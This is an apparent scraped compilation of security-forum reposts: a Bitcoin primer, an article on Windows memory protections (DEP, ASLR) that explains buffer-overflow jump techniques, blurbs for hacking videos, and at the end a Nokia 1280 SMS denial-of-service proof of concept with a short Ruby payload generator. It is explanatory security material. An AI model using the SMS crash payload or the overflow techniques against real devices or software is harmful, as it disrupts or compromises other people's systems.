FILE_CACHE_MIN_HARD_ENABLE) lpFlags = FILE_CACHE_MIN_HARD_ENABLE; if (sfi.Flags & FILE_CACHE_MAX_HARD_ENABLE) lpFlags |= FILE_CACHE_MAX_HARD_ENABLE; Thanks for reading. Sursa: WoW64 internals: Tale of GetSystemFileCacheSize

What is Bitcoin? Rohit Shaw June 28, 2013 Bitcoin is a digital currency or, we might say, electronic cash that uses peer-to-peer technology for transactions. Here peer-to-peer means it is not managed by any central authority. Normal currencies are managed by a central bank but Bitcoin is managed collectively by the network. The Bitcoin software was developed by Satoshi Nakamoto and it is based on open source cryptographic protocol. Each Bitcoin is subdivided down to eight decimal places, forming 100 million smaller units called satoshis. In simple terms, it is a SHA-256 hash in a hexadecimal format. Interesting facts about Bitcoin: Bitcoin is a digital currency. Because it is digital, you can literally backup your money, so, when properly cared for, it can’t be: Lost Stolen Frozen or seized. [*] Allows a direct and immediate transfer of value between two people anywhere in the world. [*] No banks, governments, or organizations control or influence it. [*] Cannot be counterfeited, inflated, printed, or devalued over time. [*] A peer-to-peer network functions as a distributed authority to record transactions. [*] Bitcoin operates on free, open-source software on any computer or smart phone. [*] There are no start-up, transaction, or usage fees. [*] Purchases can be completely anonymous. [*] Transactions cannot be reversed. [*] Privacy is enhanced with Bitcoin and it reduces identity theft. [*] Bitcoins can be exchanged in open markets for any other currency. Bitcoin Storage Media We already know that Bitcoin is digital currency and we are not able cash it out. In our world we handle our cash in our wallet or keep it in the bank. Here we do the same: We stored the Bitcoins in a Bitwallet. We can download the Bitwallet client software from http://bitcoin.org . This client software is compatible with Windows, MAC, and Linux operating systems. We can see the look of Bitwallet client software. We can see the overview of Bitcoin wallet in the figure above. Our balance is showing 0.00BTC, which means we have nothing right now. We also see few options in upper side bar: send coins, receive coins, transactions, address book, and export. Now we can see in the figure below, in the Receive coins option, a long alphanumeric string under the address tab. This is our Bitcoin address, which is used for transactions, mainly for receiving Bitcoins in the form of payments. It is more like a bank account number which is used for sending or receiving money. It is a cryptographic public key in human-readable strings and it consists of alphanumeric characters, for example, 17zMBU1enmZALpbDPeo5UGXFYBWbAg7MdR Next we are moving to the Send coins option; here we can see that there is an option for sending coins by adding their Bitcoin address in the Pay To section, then giving the Bitcoin in the Amount section, and clicking on Send to transfer it to the destination address. Next we will see how to use the Bitcoin online wallet. We can create an online wallet account from the following link https://blockchain.info/wallet/. Here is a snapshot of my online wallet account that I created. We can see what our online wallet it looks like in our client software. We have our Bitcoin address and we can see the account balance also, which is zero. And the same options are available here from the Bitcoin client software: Send Money, Receive Money, My transactions, and import/Export. How to Acquire Bitcoins? Acquiring Bitcoins is like the two sides of a coin. One side is very easy and other side is tough. There are two methods for earning Bitcoins. First is the easy method, purchasing online, and the second is by mining from online servers. We will cover both topics in this article. There are many online vendors who are trading in Bitcoins, such as BIPS, Bitbox, MtGox, bitNZ, Bitstamp, BTC-E, VertEx, etc. Here we are going to show you how to purchase Bitcoin from these vendors; for example, we are using MtGox for purchasing. Go to the following website https://mtgox.com/ and sign up for an account. We can see in the figure below how it looks after signing in. We can see in the above figure that there are two main options: Buy bitcoins and Sell bitcoins. If you want to buy, just give the number of Bitcoins in the Amount of BTC to BUY section and we can see that the price per coins is 122.00001 US dollar. Suppose we are buying 50 BTC; let us see how much USD we have to spend. We can see that we have to spend 6100 USD for purchasing 50 BTC. So we see here that purchasing Bitcoins is not a big deal, just we have to invest money for it. Now we will show you the tough and interesting part of earning Bitcoins from mining from online server. Mining Bitcoins is a process in which we run Bitcoin mining software, which solves complex mathematical equations in a mining server. If we are able to solve one of these equations, we will get paid in Bitcoins. Now we have to join a pool mining server. A pool is a group that combines their computing power to make more Bitcoins. We can’t mine alone in a server because these coins are awarded in blocks, usually 50 at a time. In this block you are given smaller and easier algorithms to solve and all of your combined work will solve the bigger algorithms. The earned Bitcoins are shared according to how much work you as an individual miner have contributed. Pool Features: All the features you’ll expect a Bitcoin pool to have, including instant pay per share. Merged mining; get bonus Namecoins to improve profits or register .bit domains. Best in the industry graphs, statistics, and monitoring. Mining teams for competitions, charity, or just to organize your mining farms. Statistics page for viewing average shares, estimated earnings per block, hashrate and more. Forgot password feature. Dashboard with balance, average speed, shares and stale viewing, instant payout to Bitcoin address, worker creation and statistics for each worker. API for both user and total pool. Fully customizable. The pool in which I am involved in is called BitMinter. I will show you how to join this pool server. Follow the link https://bitminter.com and sign up for account. In above figure we can see that the signup form asks for Worker name and password. Basically, for every miner that you have running, you will need to have a worker ID so the pool can keep track of your contributions. You can also see this worker after creating the account by going to MY ACCOUNT> Workers and here we can see our worker name, craker, is showing. Now that our pool account is ready, what we need Bitcoin mining software. First we have to install Bitcoin mining client software. There are many software programs available, such as BitMinter, 50Miner, Bit Moose, GUIMiner etc. We can use any one of these for mining but we are using here Bit Minter, which can be downloaded from this link https://bitminter.com/. We can see the BitMinter client software in the above figure. In the top left side it shows my CPU processor name and below that is my GPU name, GeForce GT 620M. In the status panel we can see it showing the message “Found 1 OpenCL-compatible GPU,” which means my GPU card is detected by this software. Now we can start our mining process. Run the program and click on the play button and then it will ask for your pool server account details which we already created. Give the details and then click on Proceed. Now we can see that our process is running and we can see our GPU mining speed in the speedometer. The speed which we are getting here is 12.97Mhps, which is not very fast. If we are using two or more expensive graphic cards with a high GPU core, we will get a higher speed. We are not using our CPU power because it will not give much speed but it will burn our system by getting overheated. GPU is always better than CPU for this purpose. A CPU is an executive and a GPU is a laborer. A CPU is designed primarily to be an executive and make decisions, as directed by the software. A GPU is very different. Yes, a GPU can do math, and can also do “this” and “that” based on specific conditions. GPUs have large numbers of ALUs, more so than CPUs. As a result, they can do large amounts of bulky mathematical labor in a greater quantity than CPUs. Let us see the mining status. For this go to Tools>Mining status. Here is our status: Now go to the account details option and there you will find your cash out settings. Add your Bitcoin address there; once you have earned Bitcoins, you can transfer them into your wallet via that address. What to Do with Bitcoins? Bitcoins work the same as paper money with some key differences. The Bitcoin price fluctuates so, if you invest wisely, you can make a decent amount of money by selling and buying them. Several business accept Bitcoin as a form of payment for services like Internet and mobile services, design, web hosting, email services, and VOIP/SMS services, as well as gambling sites. So Bitcoin can be used in many services as a made of payment. For example, we can see in the figure below that a security service allows Bitcoin as form of payment. References: What Is Bitcoin and What Can I Do With It? https://en.bitcoin.it/wiki/Main_Page Bitcoin - Wikipedia, the free encyclopedia Beginners Guide to Mining Bitcoins Sursa: What is Bitcoin?

Windows Memory Protection Mechanisms Dejan Lukan July 05, 2013 Introduction When trying to protect memory from being maliciously used by the hackers, we must first understand how everything fits in the whole picture. Let’s describe how a buffer overflow is exploited: Finding Input Shellcode Address—When we send input data to the application, we must send data that will cause a buffer overflow to be triggered. But we must write the input data in such a way that we’ll include the address that points to our shellcode that was also input as part of the input data. This is needed so the program execution can later jump to the shellcode by using that shellcode memory address pointer. Data Structure Overwrite—In order for the program to actually jump to our shellcode, we must overwrite some data structure where the address is read from and jumped to. An example of such a structure is a function frame that’s stored on the stack every time a function is called; besides all the other stuff stored on the stack, one of them is also the return EIP address where the function will return when it’s done with the execution. If we over write that address with the address of our shellcode in memory, the program execution will effectively jump to that address and execute our shellcode. Finding the System Function’s Address—When our shellcode is being executed, it will often call various system functions, which we don’t know the addresses of. We can hardcode the addresses of the functions to call in the shellcode itself, but that wouldn’t be very portable and it often won’t work on modern systems because of the various memory protection mechanisms in place. In order to find the addresses of the functions that we want to call, we must dynamically find them upon the shellcode execution. We must mention that if only one of the above conditions is not true, then the buffer exploitation will fail and we won’t be able to execute our shellcode. This is an important observation because, if we’re not able to satisfy every condition, the exploit will not work and the attack will be prevented. Next, we’ll discuss the techniques we can use to prevent one (or many) of the above conditions from being satisfied by malicious hackers. Let’s mention it again: If we’re able to prevent hackers from satisfying at least one of the above conditions, then the exploitation of the buffer overflow will fail. This is why we’ll take a look at methods of preventing each of the conditions from being satisfied. Let’s not forget about the conditions where the buffer is very small and we can’t actually exploit the condition in one go, but we must send multiple packets to the target in order to successfully exploit it;; one such technique is the egg-hunting exploitation technique, where we first inject some malicious code into the process’s memory, which contains an identifiable group of bytes often referred to as an egg. After, that we need to inject a second (and possibly a third, fourth, etc.) input into the process, which actually exploits and overwrites the return EIP address. Thus, we can jump to the first part of the shellcode, which must find the egg in memory and continue the execution from there – this is the shellcode we’ve inputted into the process’s memory with the first packet. We must keep in mind that in all of those special cases, the above conditions must still hold, which is also the reason we’ll be examining them in more detail later in the article. I guess we can also mention that none of the exploitation techniques would be possible if programmers would write safe code without bugs. But because life is not perfect, bugs exist and hackers are exploiting them every day. Because of that, whitehat hackers have come up with various ways to prevent the exploitation of bugs even if they exist in the code: some of the techniques can be easily bypassed but others are very good at protecting the process’s memory. Techniques for Protecting the Finding of Input Shellcode Address When exploiting a service, we’re sending input data to the service, which stores it in a buffer. The input data usually contains bytes that represent native CPU instructions. The buffer where our input bytes are written to can be located anywhere in memory: on the stack on the heap in the static data area (initialized or uninitialized). Currently, the following methods prevent us from guessing the right input address, which we can use to overwrite some important data structure that enables us to jump to our shellcode. These methods are: Instruction set randomization: read this article. Randomizing parts of the operating system – ASLR: read this article. We need to overwrite the return address EIP or some other similar structure to jump to some instructions in memory that can help us eventually jump to our shellcode. This is why we need to overwrite the structure with something meaningful, like an address that can take us to our shellcode and execute it. There are possibly infinite possibilities of how we can do that, but let’s list just a few of them to get an idea how this can be done: call/jmp reg—We’re using the register that contains the address of our shellcode, which we’re calling to effectively execute that shellcode. We can find either the “call reg” or “jmp reg” in one of the libraries the program needs to execute in order to jump to the shellcode. Note that this only works if one of the registers contains an address that points somewhere into the shellcode. pop ret—If we cannot use the previous option because none of the registers point somewhere in our shellcode, but there’s an address that points to the shellcode written on the stack somewhere, we can use multiple pop and one ret instruction to jump to that address. push ret—If one of the registers points somewhere in our shellcode, we can also use the “push ret” instruction. This is particularly good if we cannot use the “call/jmp reg,” because we’re unable to find the appropriate jmp/call instructions in the loaded libraries. To solve that, we can push the address on the stack and then return to it by using the push reg and ret instructions. jmp [reg + offset]—We can use this instruction if there’s a register that points to our shellcode in memory, but doesn’t point to the beginning of our shellcode. We can try to find the instruction “jmp [reg+offset],” which will add the required bytes to the register and then jump to that address, presumably to the beginning of our shellcode. popad—The “popad” instruction will pop double words from the stack into the general purpose registers EDI, ESI, EBP, EBX, EDX, ECX and EAX. Also, the ESP register will be incremented by 32. By using this technique, we can make the ESP register point directly to our shellcode and then issue the jmp esp instruction to jump to it. If the shellcode is not present at the 32-byte boundary, we can add a number of nop instructions at the beginning of our shellcode to make it so. forward short jump (jmp num)—We can use forward short jump if we want to jump over a couple of bytes. The opcode for the jmp instruction is 0xeb, so if we would like to jump over 16 bytes, we could use the 0xeb,0×10 instructions. We could also use conditional jump instructions, where just the opcode is changed. backward short jump (jmp num)—This is the same as forward short jump, except that we would like to jump backward. We can do this by using a negative offset number, where the 8-bit needs to be 1. If we would like to jump 16 bytes back, we could use the following instructions 0xeb,0×90. SEH—Windows applications have something called a default exception handler, which is provided by the operating system. Even if the application doesn’t use exception handling, we can try to overwrite the SEH handler and then generate some exception, which will call that exception handler. Since we’ve overwritten the exception handler with the pointer to our shellcode, that will be executed when an exception occurs. Techniques for Protecting Data Structure Overwrite One of the conditions already mentioned was that if we can overwrite certain data structure, we might be able to gain control of the program and possibly the whole system. The data structures that we can overwrite are the following: EIP in Stack Frame—When a function is called, it is stored a function frame on the stack, which also contains the EIP that points to the next instruction after the function call, which is required so that the function knows where to return to. If we overwrite the EIP return address, we’ll be able to jump and execute the instruction on the arbitrary memory address. Function Pointers—We can also overwrite a function pointer that points to a function on the heap. If we overwrite the function pointer to point to our shellcode somewhere in memory, that shellcode will be executed whenever the function is called (the one whose pointer address we’ve overwritten). Keep in mind that function pointers can be allocated anywhere in memory, on stack, heap, data, etc. Longjmp Buffers—The C programming language has something called a checkpoint/rollback system called setjmp/longjmp. The basic idea is to use the setjmp (buffer) to go to checkpoint and then use the longjmp (buffer) to go back to the checkpoint. But if we manage to overflow the buffer, the longjmp (buffer) might jump back to our shellcode instead. SEH Overwrite—We can overwrite stack exception handling structures stored on the stack, which can allow us to gain code execution when an exception occurs. Program Logic—With this attack, we’re overflowing the arbitrary data structure that a program uses incorrectly: by possibly executing the inputted shellcode. This is a really rare occurrence of a bug, but is still possible. Other—There are other structures that we can overwrite to gain code execution as well. We can use the following techniques to defend the data structures (summarized from [1]): Non-Executable Stack—If the stack is non-executable, then we won’t be able to execute the code written to the stack. This protection is very effective against stack buffer overflow attacks, but doesn’t protect us from overflowing other data structures and executing the shellcode from there. DEP (Data Execution Prevention)—When DEP is enabled, we can’t execute the code from pages that are marked as data. This is an important observation, because with typical problems the code is not contained and executed from stack or heap structures, which typically contain only data. Array Bounds Checking—With this prevention mechanism, the buffer overflows are completely eliminated, because we can’t actually overflow an array, since the bounds are being checked automatically (without user intervention). But this approach rather slows down the program execution, since every access to an array must be checked to see if it’s within the bounds. Code Pointer Integrity Check—This protection provides a way to check whether the pointer has been corrupted before trying to execute the data from that address. DEP (Data Execution Prevention) We’ve already mentioned that DEP allows the pages in memory to be marked as non-executable, which prevents the instructions in those pages to be executed (usually the stack and heap data structure are used with DEP enabled). If the program wants to execute code from the DEP-enabled memory page, an exception is generated, which usually means the program will terminate. The default setting in a Windows system is that DEP is enabled. To check whether DEP is enabled, we must look into the C:\boot.ini configuration file and look at the /noexecute flag value. The values of the /noexecute switch can be one of the following values: OptIn—DEP enabled for system modules, but user applications can be configured to also support DEP OptOut—DEP enabled for all modules and user applications, but can be disabled for certain user applications AlwaysOn—DEP enabled for all modules and all user applications and we can’t switch it off for any user application AlwaysOff—DEP disabled for all modules and all applications and we can’t switch it on for any user application or any system module We can see that with OptIn and OptOut options, we can dynamically change whether the DEP is enabled or disabled for certain user applications. We can do that with the use of the SetProcessDEPPolicy system function. The syntax of the function is presented below (taken from [2]): The SetProcessDEPPolicy function overrides the system DEP policy for the current process unless its DEP policy was specified at process creation. The system DEP policy setting must be OptIn or OptOut. If the system DEP policy is AlwaysOff or AlwaysOn, SetProcessDEPPolicy returns an error. After DEP is enabled for a process, subsequent calls to SetProcessDEPPolicy are ignored [2]. The dwFlags parameter can be one of the following: 0—Disables the DEP for the current process if system DEP policy is either OptIn or OptOut. 1—Enables the DEP permanently for the current process. We can enable/disable DEP for certain user applications if we right-click on My Computer, then go to Advanced and click on Performance Settings – Data Execution Prevention, we see picture below: Currently the OptIn is set in the C:\boot.ini, which resembles the options specified above. If DEP was disabled, the options above would be grayed out: they are only enabled when OptIn or OptOut is being used. Let’s change the DEP configuration option to OptOut in the Performance Options window and also add an exception so that iexplore.exe won’t have DEP enabled. We see the picture below: Once we click on the Open button, the IEXPLORE.EXE will be added to the list of user applications that have DEP disabled, which can be seen in the picture below: Once we try to save the settings, a warning will pop-up notifying us that we must restart the computer in order for changes to take effect: We must click on OK and then restart the computer. Then we can open two processes, explorer.exe and opera.exe and observe their DEP settings in the Windbg kernel debugger. Then we need to execute the “!process 0 0? command to display the details about every process running on the system. The information about the explorer.exe and opera.exe are shown below: kd> !process 0 0 PROCESS 821dc620 SessionId: 0 Cid: 05c0 Peb: 7ffd9000 ParentCid: 05cc DirBase: 093c0180 ObjectTable: e1827200 HandleCount: 288. Image: opera.exe PROCESS 822d2948 SessionId: 0 Cid: 05c8 Peb: 7ffdf000 ParentCid: 05cc DirBase: 093c0280 ObjectTable: e1de34b8 HandleCount: 563. Image: IEXPLORE.EXE The !process command is a good way to get the pointer to the EPROCESS data structure of each process: the pointer to the opera.exe EPROCESS data structure is 0x821dc620, while the pointer to the IEXPLORE.EXE EPROCESS data structure is 0x822d2948. Let’s now show the EPROCESS data structure of each of the processes: kd> dt nt!_EPROCESS 821dc620 +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER 0x01ce1da6`e74feeaa +0x078 ExitTime : _LARGE_INTEGER 0x0 +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : 0x000005c0 Void kd> dt nt!_EPROCESS 822d2948 +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER 0x01ce1da6`e7a8e488 +0x078 ExitTime : _LARGE_INTEGER 0x0 +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : 0x000005c8 Void I didn’t present the whole output from that command, because the output is too long and we’re not interested in the rest of the output right now. We’re only interested in the first element of the EPROCESS structure, which is the KPROCESS data substructure, as we can see above. Since the first element of the EPROCESS data structure is the KPROCESS data structure, we can display that with the same memory address as we used when printing the EPROCESS data structure. We can also use the -r switch to the command to go into every substructure of the KPROCESS structure and display all of the known elements. There are a lot of members of the KPROCESS data structure, which is why we’ll only be showing the most important ones (in the output below we presented only the Flags data member): kd> dt nt!_KPROCESS 821dc620 -r +0x06b Flags : _KEXECUTE_OPTIONS +0x000 ExecuteDisable : 0y1 +0x000 ExecuteEnable : 0y0 +0x000 DisableThunkEmulation : 0y1 +0x000 Permanent : 0y1 +0x000 ExecuteDispatchEnable : 0y0 +0x000 ImageDispatchEnable : 0y0 +0x000 Spare : 0y00 +0x06b ExecuteOptions : 0xd '' kd> dt nt!_KPROCESS 822d2948 -r +0x06b Flags : _KEXECUTE_OPTIONS +0x000 ExecuteDisable : 0y0 +0x000 ExecuteEnable : 0y1 +0x000 DisableThunkEmulation : 0y0 +0x000 Permanent : 0y0 +0x000 ExecuteDispatchEnable : 0y1 +0x000 ImageDispatchEnable : 0y1 +0x000 Spare : 0y00 +0x06b ExecuteOptions : 0x32 '2' The important flags that we’re interested right now are the ExecuteDisable and ExecuteEnable. The ExecuteDisable flag is set to 1 whenever DEP is enabled, while the ExecuteEnable flag is set to 1 whenever DEP is disabled. Also the Permanent flag is set to 1 if the process cannot change the DEP policy by itself. Let’s review the settings of both processes, the IEXPLORE.EXE and opera.exe: [TABLE] [TR] [TD][/TD] [TD]ExecuteDisable[/TD] [TD]ExecuteEnable[/TD] [TD]Permanent[/TD] [/TR] [TR] [TD]Opera.exe[/TD] [TD]1[/TD] [TD]0[/TD] [TD]1[/TD] [/TR] [TR] [TD]IEXPLORE.EXE[/TD] [TD]0[/TD] [TD]1[/TD] [TD]0[/TD] [/TR] [/TABLE] We can see that the options are exactly the opposite for those two processes. The IEXPLORE.EXE process has DEP disabled, because the ExecuteDisable is set to 0 and ExecuteEnable is set to 1, while the opera.exe has DEP enabled, because the ExecuteDisable is set to 1 and ExecuteEnable is set to 0. The IEXPLORE.EXE has DEP disabled only because we’ve added the exception to the OptOut system DEP policy. Address Space Layout Randomization (ASLR) The Windows systems use PE headers to describe the executable files. One of the elements of the PE header is the preferred load address that is stored in the ImageBase element in the optional header. The address stored in the ImageBase is the linear address where the executable will be loaded if it can be loaded there (by default this address is 0×400000). For the next test, you have to have the Sysinternals Suite downloaded, particularly the listdlls.exe program. Let’s start the notepad.exe process and then execute the “listdlls.exe notepad.exe” program, which will list all the loaded DLLs from the notepad.exe program. The output can be seen below: We can see that the notepad.exe executable is loaded at the default virtual/linear address 0×01000000, which is not the default address 0×400000. Actually, the 0×01000000 is the default address where libraries are loaded. Let’s download the trial version of PE Explorer and open the notepad.exe executable into it. Now let’s take a look at the ImageBase element, which can be seen in the picture below: it has a value 0×01000000, which is also the preferred address of where the notepad.exe will get loaded into memory: Now we need to restart the system and use the listdlls.exe program again to list all the DLLs loaded in the notepad.exe program. The result can be seen in the picture below: Notice that the base address of the notepad.exe and every corresponding library is the same? Because of this, exploit writing has been very successful in the last couple of years. The reason is that hackers could use a hardcoded address in their exploits, which would work on various versions of Windows systems, because the virtual/linear addresses of the programs are always the same. Windows Vista presented a concept known as address space layout randomization or ASLR that loads the executables and libraries that support ASLR at arbitrary base address every time the system reboots. This makes it difficult to hardcode the addresses in the exploits, but it is still possible. The reason is the executable and all the libraries the process uses must be compiled with ASLR enabled, but this often isn’t so. The developers almost never compile the executable with ASLR enabled, and even some system libraries provided by Microsoft are not always compiled with ASLR enabled. But the attacker needs only one address to be at a constant place (even when the operating system is rebooted) in order to exploit a buffer overflow (or some other bug); thus he only needs one executable or one loaded library file to not be compiled with ASLR enabled. But because it’s still often the case that at least some library doesn’t support ASLR, ASLR protection is rather easy to bypass and thus not really effective. If we click on the Characteristics element in PE Explorer, we can see that the 0×0040 field is currently being used to specify whether the library was compiled with ASLR support, is marked as “Use of this flag is reserved for future use”. This clearly means that the ASLR is disabled and not available for the notepad.exe, as we already saw previously. But ASLR can nevertheless be enabled system-wide by adding the MoveImages registry key to the HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\. We can do that by adding a new DWORD value, setting the key to the MoveImages and the value to 0xFFFFFFFF. This can be seen in the picture below, where the MoveImages key has been added to the registry: Upon adding the MoveImages key, we need to restart the computer. Then we can again execute the “listdlls.exe notepad.exe” program to check the base addresses of loaded libraries: Notice that the base addresses are the same even though we’ve added the MoveImages to the registry. The problem is that Windows XP doesn’t support ASLR, which is one reason among many to switch to a newer system, such as Windows Vista or Windows 7. But ASLR doesn’t affect only the base address where the libraries are loaded, but also the base address of stack, heap and other stuff that must be loaded into memory. But the DLL libraries are loaded at the same address regarding of the process using them; this is set up during the boot process of Windows. Let’s now start the Windows 7 system and check the base addresses of modules in Ollydbg when loading the notepad.exe executable. The modules and their corresponding base addresses can be seen in the picture below: After that we can restart Windows, and reopen notepad.exe in Ollydbg. Let’s list the modules again. Notice that the modules have been loaded at different base addresses? This is the effect of the ASLR being enabled. Now whenever we want to hardcode the address in shellcode, the address will be wrong after restarting the system, because the base address of the modules is at a different location; this means that the hardcoded address will not point to a different instructions in memory (if that memory is even loaded into the memory user address space). References: [1] StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks, Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand, San Antonio, Texas, January 26-29, 1998. [2] SetProcessDEPPolicy function (Windows), accessible at SetProcessDEPPolicy function (Windows). Sursa: Windows Memory Protection Mechanisms

Web Application - Csrf Explained Description: In this video you will learn about CSRF (Cross Site Request Forgery). This CSRF is a one of the most common attacks in Web Application Hacking and every web application should be aware of it. Sursa: Web Application - Csrf Explained

Understanding Sql Injection, Xml Injection, And Ldap Injection Description: This is a very good short video about SQLI, XML Injection and LDAP Injection. So Messer will explain how SQL Injection will works how XML, LDAP Injection will works on Web Application and responsible for some of big industries data breaches. Sursa: Understanding Sql Injection, Xml Injection, And Ldap Injection

Introduction To Sql Injection Description: In this video you will learn how to exploit web application using SQL Injection, Error Based SQL Injection, Analysis of vulnerable PHP code, Download website and database lab etc .. Sursa: Introduction To Sql Injection

Writing Shellcode And Gaining Root Access http://www.youtube.com/watch?feature=player_embedded&v=uRCyIQrLV5Q Description: In this video you will learn how to write a shellcode and gain root access without any passwords. Sursa: Writing Shellcode And Gaining Root Access

Blind Xpath Injection Description: In this video you will learn how to exploit Blind Xpath Injection using a tool of Blind Xpath Injection. https://www.owasp.org/index.php/Blind_XPath_Injection XPath is a type of query language that describes how to locate specific elements (including attributes, processing instructions, etc.) in an XML document. Since it is a query language, XPath is somewhat similar to Structured Query Language (SQL), however, XPath is different in that it can be used to reference almost any part of an XML document without access control restrictions. In SQL, a "user" (which is a term undefined in the XPath/XML context) may be restricted to certain databases, tables, columns, or queries. Using an XPATH Injection attack, an attacker is able to modify the XPATH query to perform an action of his choosing. Sursa: Blind Xpath Injection

Nokia 1280 Denial Of Service Nokia 1280 phones suffers from a denial of service vulnerability when receiving a large SMS. ########################################################################################################### #Exploit Title: Nokia 1280 DoS Vulnerability #Author : Un0wn_X #E-Mail : unownsec@gmail.com #Date : Monday, July 01,2013 #Product: http://www.nokia.com/in-en/phones/phone/nokia-1280/ ########################################################################################################### #Vulnerability Advisory ======================= You can send a SMS containing the malicious buffer and can crash the phone once it loads in the memory. #Video PoC ============ http://www.youtube.com/watch?v=csLuNZ0mjpI #Exploit ========= #!/usr/bin/env ruby #Author: Un0wn_X begin buff = "Don't Scroll Down \n\n" buff += "'"*100 file = open("exploit.txt","w") file.write(buff) file.close() puts "[+] Exploit created >> exploit.txt" puts " [*] Now send the text contained inside the exploit.txt by a sms" puts "[~] Un0wn_X" end #Final Notes ============= I have no idea to attach this to a debugger and fuzz this system. You may exploit further Sursa: Nokia 1280 Denial Of Service ? Packet Storm